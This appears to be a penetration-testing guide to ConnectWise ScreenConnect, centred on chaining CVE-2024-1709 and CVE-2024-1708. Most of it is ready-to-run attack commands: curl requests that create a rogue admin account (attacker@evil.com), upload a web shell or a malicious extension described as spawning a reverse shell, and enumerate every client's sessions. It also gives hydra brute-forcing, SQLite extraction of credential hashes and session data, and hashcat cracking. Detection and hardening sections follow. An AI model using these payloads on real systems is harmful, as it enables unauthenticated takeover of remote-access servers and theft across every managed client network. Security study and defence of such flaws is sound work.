ScreenConnect Attack Surface

ScreenConnect (rebranded ConnectWise ScreenConnect) is an on-premises remote access platform. It runs as a Windows service exposing a web interface typically on TCP 8040 (HTTP) and TCP 8041 (HTTPS). The attack surface includes:

• Web UI — Setup wizard, admin console, guest authentication
• Relay service — Handles session broker traffic between agent and technician
• Extension system — .NET-based plugin architecture executable as SYSTEM
• SQLite/MS SQL database — Session keys, user credentials, configuration
• Agent installations — Thin clients on all managed endpoints

CVE-2024-1709: Authentication Bypass (CVSS 10.0)

CVE-2024-1709 is a path confusion vulnerability in the ScreenConnect setup wizard. When the application is already configured, the setup wizard endpoint is supposed to return an error. Instead, a path manipulation causes the setup wizard to execute, allowing an attacker to create a new administrator account — completely unauthenticated.

Root Cause

The vulnerability exists in how ScreenConnect routes requests to its setup wizard at /SetupWizard.aspx. A trailing path component causes the application to treat the request as a new setup rather than recognizing the existing configuration. The server checks for configuration existence using a file path that can be made to resolve to a non-existent path via the extra path component.

Exploitation

# Target: ScreenConnect 23.9.7 and earlier (all versions prior to 23.9.8)
# Also affects 22.x and 23.x series

# Step 1: Confirm version and setup wizard accessibility
curl -sk https://<screenconnect-host>:8041/SetupWizard.aspx -o /dev/null -w "%{http_code}"
# 302 redirect = configured (normal), 200 = vulnerable setup wizard accessible

# Step 2: Exploit path confusion
# The key payload uses a trailing forward slash and extra path component
curl -sk -X POST \
  "https://<screenconnect-host>:8041/SetupWizard.aspx/0" \
  -d "DatabaseType=SQLite&DatabaseFilePath=C%3A%5CProgram+Files+%28x86%29%5CScreenConnect%5CApp_Data%5CApp.db&AdminEmail=attacker%40evil.com&AdminUsername=pwned&AdminPassword=P@ssw0rd123!&Confirm=true"

# Step 3: Authenticate as newly created admin
curl -sk -c cookies.txt \
  "https://<screenconnect-host>:8041/Administration" \
  -d "Email=attacker%40evil.com&Password=P%40ssw0rd123%21"

# Confirm admin access
curl -sk -b cookies.txt \
  "https://<screenconnect-host>:8041/Administration" | grep -i "admin"

Shodan Discovery

# Shodan query for exposed ScreenConnect instances
# http.html:"ConnectWise Control" or http.html:"ScreenConnect"
# product:"ConnectWise ScreenConnect"

# Nuclei template (community)
nuclei -t cves/2024/CVE-2024-1709.yaml -target https://<host>:8041

CVE-2024-1708: Path Traversal to RCE

CVE-2024-1708 (CVSS 8.4) is a path traversal vulnerability in ScreenConnect's file upload functionality. An authenticated attacker (or an unauthenticated one after chaining with CVE-2024-1709) can upload files outside the intended directory, enabling remote code execution via ASP.NET web shell deployment or malicious extension installation.

File Upload Path Traversal

# Requires authentication (or chain from CVE-2024-1709)
# Upload a web shell via path traversal in the file upload endpoint

# The upload endpoint accepts a filename parameter susceptible to path traversal
curl -sk -b cookies.txt \
  -X POST "https://<screenconnect-host>:8041/Services/PageService.ashx/UploadFile" \
  -F "file=@shell.aspx;type=application/octet-stream" \
  -F "fileName=..%2F..%2F..%2Fwebshell.aspx"

# Alternatively: upload malicious .NET extension
# Extensions execute with SYSTEM privileges
curl -sk -b cookies.txt \
  -X POST "https://<screenconnect-host>:8041/Administration/Extensions/Upload" \
  -F "file=@malicious_extension.zip"

Extension-Based RCE

ScreenConnect extensions are .NET assemblies that run in the context of the ScreenConnect service (typically SYSTEM or NT SERVICE\ScreenConnect). An attacker with admin access can install a malicious extension for persistent RCE on the ScreenConnect server.

# Create malicious extension (C# pseudo-code)
# Extensions are .zip files containing:
# - extension.xml (manifest)
# - App_Extensions/<name>/<assemblies>.dll

# Minimal malicious extension that executes a command
# extension.xml:
<?xml version="1.0"?>
<Extension>
  <Name>DiagnosticHelper</Name>
  <Version>1.0.0</Version>
  <AssemblyName>DiagnosticHelper</AssemblyName>
</Extension>

# The DLL payload spawns a reverse shell on load
# Package and upload via the Extensions admin UI or API

Chaining CVE-2024-1709 + CVE-2024-1708 for Full Compromise

The most devastating attack chain requires zero prior credentials:

1. CVE-2024-1709 — Create admin account via unauthenticated setup wizard access
2. Authenticate — Log in as newly created admin
3. CVE-2024-1708 — Upload malicious extension or web shell via path traversal
4. RCE as SYSTEM — Extension executes, giving full control of ScreenConnect server
5. Pivot via ScreenConnect agents — Connect to any managed endpoint via ScreenConnect session

Admin Console Attack Paths

Even without these specific CVEs, a ScreenConnect admin console accessible from the internet is high-risk. Default credentials and password spraying are common attack vectors.

Default and Weak Credentials

# Default credentials (often unchanged in MSP environments)
# admin / admin
# admin / screenconnect
# admin / <company name>
# admin / (empty password on first setup)

# Brute force via login form
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  https://<screenconnect-host>:8041/Administration \
  -f http-post-form \
  "/Administration:Email=^USER^&Password=^PASS^:Invalid"

# Note: ScreenConnect has configurable lockout — check lockout policy first
# Default: no lockout (or 5+ attempts before lockout in older versions)

Session Management Testing

# After authentication, test session fixation and token security
# ScreenConnect uses .NET Forms Authentication cookies

# Check cookie flags
curl -sk -I https://<screenconnect-host>:8041/Administration \
  -d "Email=admin&Password=admin" | grep -i "set-cookie"

# Expected flags: HttpOnly, Secure, SameSite=Strict
# Missing flags = session hijacking vector

Session Key and Access Token Theft

ScreenConnect stores session encryption keys in its SQLite database. Each remote session has a unique session key used to encrypt the communication channel. These keys, combined with the session GUID, allow an attacker to impersonate any active session or replay recorded sessions.

# ScreenConnect database location (Windows)
# C:\Program Files (x86)\ScreenConnect\App_Data\App.db (SQLite)

# Extract session keys from SQLite
sqlite3 "C:\Program Files (x86)\ScreenConnect\App_Data\App.db" \
  "SELECT SessionID, Name, Code, GuestSessionStartTime FROM Session WHERE SessionType=0;"

# Session data includes:
# - All managed machines and their connection codes
# - Historical session records
# - User account data

# Extract user credentials (hashed)
sqlite3 "C:\Program Files (x86)\ScreenConnect\App_Data\App.db" \
  "SELECT UserName, Email, Salt, Password FROM ScreenConnectUser;"

# Hash format: SHA-256(salt + password)
# Crack with hashcat:
hashcat -m 1440 screenconnect_hashes.txt /usr/share/wordlists/rockyou.txt

ScreenConnect as Persistence Mechanism

Ransomware operators and APT groups install ScreenConnect agents as a persistence mechanism because remote access software is rarely flagged by antivirus. After gaining initial access via other vectors, they install ScreenConnect to maintain long-term access even after remediation.

# Identify suspicious ScreenConnect installations via command line
# Legitimate installs: large organizations, known MSP deployments
# Suspicious: installed recently, unusual service name, non-standard path

# Windows — check ScreenConnect agent service
Get-Service | Where-Object { $_.DisplayName -like "*ScreenConnect*" -or $_.DisplayName -like "*ConnectWise*" }

# Check installation path (non-standard paths are suspicious)
Get-WmiObject -Class Win32_Service | Where-Object { $_.PathName -like "*ScreenConnect*" } |
  Select Name, PathName, StartMode, State

# Check for relay/client variants that indicate attacker-installed instances
# Legitimate: installed to C:\Program Files (x86)\ScreenConnect\
# Suspicious: C:\Users\<user>\AppData\, C:\ProgramData\, C:\Windows\Temp\

# Registry persistence check
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" |
  Select-Object * | Where-Object { $_ -like "*ScreenConnect*" }

MSP Targeting and Supply Chain Impact

ScreenConnect is a primary target for supply chain attacks against MSPs. A single compromised ScreenConnect server can provide access to all client organizations simultaneously. This is why CISA tracks ScreenConnect vulnerabilities with urgency comparable to network infrastructure.

Multi-Tenant Enumeration

# With admin access, enumerate all managed sessions (all client organizations)
curl -sk -b cookies.txt \
  "https://<screenconnect-host>:8041/Services/PageService.ashx/GetPageInfo" \
  -d "pageName=Access" | python3 -m json.tool

# Response includes all active and offline sessions across all clients
# {
#   "sessions": [
#     {"sessionId": "...", "name": "CLIENT-A-SERVER01", "guestOs": "Windows Server 2019", "online": true},
#     {"sessionId": "...", "name": "CLIENT-B-WORKSTATION-FINANCE", "online": false},
#     ...
#   ]
# }

# Connect to a specific session
curl -sk -b cookies.txt \
  "https://<screenconnect-host>:8041/Host#Access/All/<sessionId>"

# Execute commands on all online sessions simultaneously via ScreenConnect Toolbox
# Admin → Toolbox → Run Command (executes on all selected machines)

Detection and Forensics

Windows Event Log Indicators

# Event 4688 — new process created (look for PowerShell spawned by ScreenConnect)
# Event 7045 — service install (suspicious ScreenConnect service names)
# Event 4624/4625 — logon events on the ScreenConnect server

# IIS/application logs for CVE-2024-1709
# Look for POST requests to /SetupWizard.aspx/ with path components
# C:\Program Files (x86)\ScreenConnect\App_Web\

# IIS log pattern for CVE-2024-1709 exploitation:
# POST /SetupWizard.aspx/0 200
# POST /SetupWizard.aspx/1 200

# ScreenConnect application log
# C:\Program Files (x86)\ScreenConnect\App_Data\Logs\
type "C:\Program Files (x86)\ScreenConnect\App_Data\Logs\App.log" | \
  findstr /i "setup wizard admin created"

Network Indicators

# Scan for ScreenConnect on non-standard ports
nmap -sV -p 8040,8041 --script http-title <network>/24

# Shodan query for your ScreenConnect instance
# title:"ConnectWise Control" hostname:yourdomain.com

# Check for abnormal relay connections
netstat -an | findstr "8041"
# Legitimate: connections from known technician IPs
# Suspicious: connections from unexpected geolocations or IP ranges

Hardening Checklist

Network Hardening

# ScreenConnect security configuration (web.config)
# C:\Program Files (x86)\ScreenConnect\Web.config

# Restrict admin access by IP (add to web.config)
<location path="Administration">
  <system.webServer>
    <security>
      <ipSecurity allowUnlisted="false">
        <add ipAddress="10.0.1.0" subnetMask="255.255.255.0" allowed="true"/>
        <add ipAddress="192.168.1.50" allowed="true"/>
      </ipSecurity>
    </security>
  </system.webServer>
</location>

Monitoring Requirements

• Alert on setup wizard access — any POST to /SetupWizard.aspx on a configured instance is an attack indicator
• Monitor admin account creation — unexpected new admin accounts are a critical indicator
• Extension installation alerts — all extension installs should require change control
• Bulk session access — connecting to many sessions rapidly indicates mass exploitation
• SIEM rule — ScreenConnect process spawning cmd.exe, powershell.exe, or wscript.exe is high-confidence attacker activity

Summary

CVE-2024-1709 is a maximum severity (CVSS 10.0) authentication bypass that turns any internet-exposed ScreenConnect instance into an open door. CVE-2024-1708 chains to deliver RCE via extension upload. Together they let an unauthenticated attacker own the ScreenConnect server and pivot to every endpoint in the managed estate. MSPs are the highest-risk targets because their ScreenConnect compromise translates directly to supply chain access for all clients. Patch to 23.9.8+, restrict admin access to VPN, enable MFA, and monitor for setup wizard activity. If you find ScreenConnect on a pentest, it's almost always worth chaining these CVEs — the blast radius is enormous.